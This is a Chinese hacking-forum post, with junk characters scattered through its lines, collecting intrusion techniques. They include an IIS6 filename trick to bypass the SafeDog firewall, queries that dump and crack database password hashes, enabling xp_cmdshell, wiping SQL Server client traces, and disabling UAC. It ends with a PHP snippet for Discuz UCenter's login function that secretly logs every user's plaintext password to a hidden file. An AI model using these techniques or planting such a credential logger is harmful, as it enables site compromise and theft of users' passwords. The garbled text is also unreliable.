利用II6文件解析漏洞绕过安全狗代码:
( @. h0 `) L Q' d4 V3 l( \9 l) U;antian365.asp;antian365.jpg. H8 l0 ?; Z" y1 s2 `
9 S" @0 O9 C2 K4 d/ S
各种类型数据库抓HASH破解最高权限密码!6 q, ?5 S, q4 A4 t$ K1 z5 f
1.sql server20002 w5 N" U8 I+ {. ] O& d( U2 @8 _
SELECT password from master.dbo.sysxlogins where name='sa'$ I1 U. H! P3 H! X9 ~2 S" f
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341
" a6 @$ y. A* @. K2FD54D6119FFF04129A1D72E7C3194F7284A7F3A
% @6 M! I& q( P5 v
+ e( y6 q3 X! P9 ~3 E0×0100- constant header
2 k( w }, H6 e8 v. V( C34767D5C- salt
9 O! d4 f# i8 G4 w7 S0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash
; S2 }, B0 `# U& K# _" [" [7 P2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash7 d1 {( k9 x* @: l0 B7 ]8 r. s
crack the upper case hash in ‘cain and abel’ and then work the case sentive hash
F) Z4 R2 L3 w; w% C6 KSQL server 2005:-7 e0 {( D1 w5 u2 F/ v
SELECT password_hash FROM sys.sql_logins where name='sa'$ Y. c) g6 V5 {" A! w
0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F; S9 u# Y" e2 l: |6 A( f' o
0×0100- constant header9 b% P$ b- T+ R- g1 {
993BF231-salt
* F3 M, v, n5 k2 g3 [5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
; u0 [3 T: }& A) W7 Mcrack case sensitive hash in cain, try brute force and dictionary based attacks.
4 J. V5 @4 X) f- R, y9 Z# C* D! ]4 ]; N
update:- following bernardo’s comments:- Y/ z. ?# y8 \' F
use function fn_varbintohexstr() to cast password in a hex string.
8 f6 Y( q4 J S8 s) B0 ?e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins
! U4 i0 r' B3 l0 |, g4 a& I& i9 ~+ {: {8 T! d! D0 c
MYSQL:-5 A: Q5 X6 e, h$ @6 s
. d, S5 Y" {/ H; I) f/ NIn MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.
/ Z5 r! ]' _9 s2 ^! ?
" O2 F) b7 `& w" H8 Y& M1 g*mysql < 4.19 U6 [- I0 J5 a' w9 v
, V" j3 ]% _1 Ymysql> SELECT PASSWORD(‘mypass’);9 L: T$ i; |/ @* _8 i" i, B
+——————–+$ E4 X5 `- F+ a' U% T& e9 [" V
| PASSWORD(‘mypass’) |
9 e3 q: h+ }: C: A- N- D+——————–+: Y1 A* u! s3 t- n: Z
| 6f8c114b58f2ce9e |: _& v6 h3 |. U2 ]+ }8 T9 I
+——————–+1 [0 K/ I: N! u% K7 J: q6 X
% \7 P$ W% N/ e4 L; c: ]& J*mysql >=4.1
+ G% ~' F4 d% s
9 y1 b; L9 l% ^7 J. I# O# L, U: ]7 nmysql> SELECT PASSWORD(‘mypass’);0 c/ z: ] r( S. {4 G
+——————————————-+: y0 x4 h! E" t) {% _
| PASSWORD(‘mypass’) |
' b _+ R ^- E( Y) B+——————————————-+% |* P% |, C& Z
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
& V! q/ X4 R4 ^4 s8 ~0 U! ^+——————————————-+% k- _9 E- Z" n4 R( }0 k
8 |6 X$ ]' Y8 m y* NSelect user, password from mysql.user; w" g( P/ G/ ~. C$ H7 z
The hashes can be cracked in ‘cain and abel’6 }- V. }, Q6 E* r
% I3 R& h4 C: E3 S; _$ j
Postgres:-# W# @' x4 R0 V" Z7 r9 J0 s: ^9 X2 F
Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table. You need to be the database superuser to read this table (usually called “postgres” or “pgsql”). w$ j3 B2 b; @
select usename, passwd from pg_shadow;
9 m! h t3 a7 i& zusename | passwd
. ^1 B% f5 V5 q+ w/ j——————+————————————-. O8 F& g+ _5 c7 `$ J
testuser | md5fabb6d7172aadfda4753bf0507ed43966 w. g( T4 Q+ ?4 n
use mdcrack to crack these hashes:-
& i3 b5 S3 {: u0 k# p* r$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396
# b; M3 J2 m z
. M. I& Q! [2 ~( W- v& h7 XOracle:-
+ @' A) U6 U6 \* `select name, password, spare4 from sys.user$
2 T0 k3 a/ n: S4 W* i! K0 J0 ~hashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g, V1 }* Z- d7 c2 [! X; a% r4 c7 `
More on Oracle later, i am a bit bored….- H; n3 L/ }! |1 Y* q; f
: B3 d: P" \* S/ n- @& S) a
3 k8 e- X Q- k& d3 v" Z在sql server2005/2008中开启xp_cmdshell" C/ M! r+ S" |7 q- Z( m; S
-- To allow advanced options to be changed.
' l& g1 f5 Z% p4 L4 F. KEXEC sp_configure 'show advanced options', 1
: m+ k2 f. u" U3 f; |$ QGO! [- ~$ v2 W' ~ U
-- To update the currently configured value for advanced options.
$ ^0 H' n+ ^- I9 t' JRECONFIGURE t! ]4 A1 U5 b4 j( m! T% P
GO- z9 ]* Q! e; W$ H
-- To enable the feature.
3 ^7 j; L( ?/ sEXEC sp_configure 'xp_cmdshell', 1+ _% F$ B7 [ N& X; w7 T$ y) |
GO' e4 t$ X. j) z7 V
-- To update the currently configured value for this feature.
$ H7 I+ U" B/ o1 q) V. q) U5 pRECONFIGURE( v8 ]& N2 y- ?6 O6 J5 Q; _4 X
GO0 _! \. g3 F2 V7 u# }
SQL 2008 server日志清除,在清楚前一定要备份。% q3 s L4 Y0 m5 ` J
如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:
& y) G+ i/ P' ^* f+ ?0 D* rX:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin
) u4 p1 q+ c$ p* d T+ \. G0 u4 [9 p# M
对于SQL Server 2008以前的版本:
" w3 Z' r4 q; N$ BSQL Server 2005:
( q& Z2 k$ H; Z& h7 m3 g+ N- o) Z删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat8 z4 D; }; S% Y7 k
SQL Server 2000: X: D; ~9 C- _7 |. A; {
清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers\相应的内容即可。
) m1 H5 l. z; S1 j+ c! z) Y/ R6 J p: r# P* g# m7 `0 {
本帖最后由 simeon 于 2013-1-3 09:51 编辑2 Q7 Y$ r% C* L/ ]; V
; a5 n( F3 ^6 [. _- b [, W! f8 m0 R( d v% q
windows 2008 文件权限修改
. R: B& j& }- u' S+ d1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx
; l: r- N: W+ ^& I a2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98* j& G$ p6 m$ H; R* \2 k4 @/ i) T
一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,0 v( X5 s! ^/ z, Q5 ^7 s
! @: ~2 D, n& f3 y: s5 j
Windows Registry Editor Version 5.002 D% f8 A! Z2 V' \
[HKEY_CLASSES_ROOT\*\shell\runas]
$ Y- h: d. ?7 A) L: x@="管理员取得所有权"
; j$ Q2 k6 q4 s; [1 z6 I"NoWorkingDirectory"=""! a) g0 `1 @' K% J' J+ W/ U k
[HKEY_CLASSES_ROOT\*\shell\runas\command]
2 P# ?! J }2 D@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
1 h+ v1 h$ P( \% p( B"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
O' U! F" \7 J[HKEY_CLASSES_ROOT\exefile\shell\runas2]. O$ Y( T; r, s8 R! F& \* P
@="管理员取得所有权"" u$ A7 |2 C9 Z* T6 }
"NoWorkingDirectory"=""
$ C( B" j+ {) V* }' g: B; i/ M( R[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]9 u! ]) y* j' u U# I i0 ^
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
1 W# i5 z+ P) O ~/ @"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
" _# Q" m z! D* v; Y" u( G$ o1 e! S9 P: l1 d
[HKEY_CLASSES_ROOT\Directory\shell\runas]: |# c$ K- w5 R! j1 h$ L( J
@="管理员取得所有权"
. a2 U6 ~4 N& P+ u' q" Y"NoWorkingDirectory"=""1 p1 m( z7 b; Y0 x7 ~" J/ O
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
* o+ Y3 D( a1 Y; F4 ?@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"5 o2 i, ^+ U& |3 [$ k, x
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
* M, {' Q* b, g) k% [ B0 l) O; T( P x/ f; \, G) A, u7 R
5 W2 E: t. e% q5 i3 R4 w* _win7右键“管理员取得所有权”.reg导入, U. f2 i# B% G) e3 b0 K" a f
二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,: U# @! R' Y. b9 s! Q5 b5 Z
1、C:\Windows这个路径的“notepad.exe”不需要替换# T$ R6 w9 J: Q$ C8 y8 d
2、C:\Windows\System32这个路径的“notepad.exe”不需要替换# I1 ]7 }" X4 ]
3、四个“notepad.exe.mui”不要管: q* D2 Z4 H! C+ H: |+ W
4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和7 v# i& R6 r' @4 y2 t
C:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”
* N" F% f! U/ A. C替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,
9 l* Q8 |/ L9 R/ a替换完之后回到桌面,新建一个txt文档打开看看是不是变了。
6 Z5 y% D V/ H; L0 {windows 2008中关闭安全策略: 7 K8 j% x$ p- \( N& B3 Z
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
3 L5 ?8 x. O5 b3 Q$ E4 k, Q6 v修改uc_client目录下的client.php 在5 \ S& N$ G; l+ D+ p
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
! `8 O& ?& `! Z' G, ~: X下加入如上代码,在网站./data/cache/目录下自动生成csslog.php1 [0 w/ b2 O# V/ z* \
你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw
! ] {3 w( m9 @4 |; j4 a0 Oif(getenv('HTTP_CLIENT_IP')) {
" k! _; e" V: I- @/ T' t$onlineip = getenv('HTTP_CLIENT_IP');
6 s* c. m5 t2 Q) B7 E! I# c7 |} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
2 ]9 }6 i- g! B: z' `3 t/ ^$onlineip = getenv('HTTP_X_FORWARDED_FOR');
. s0 k$ }$ o9 M% [) y+ P} elseif(getenv('REMOTE_ADDR')) {
! a: }+ L# C0 C$onlineip = getenv('REMOTE_ADDR');
% ?' J) X4 e- O1 F3 b: [0 F1 y} else {8 }1 ^1 @0 z$ [) O' K. ^' U6 t7 i
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];" _' W3 c @6 }9 G9 g9 L, F
}
- H7 r6 O2 O; U4 |% u- T: I& K* Q $showtime=date("Y-m-d H:i:s");
6 G- {% h9 V0 V2 l $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";0 \+ M+ d7 I) D* c6 u) z
$handle=fopen('./data/cache/csslog.php','a+');
* c9 }! O" k8 u9 J7 @! z $write=fwrite($handle,$record); |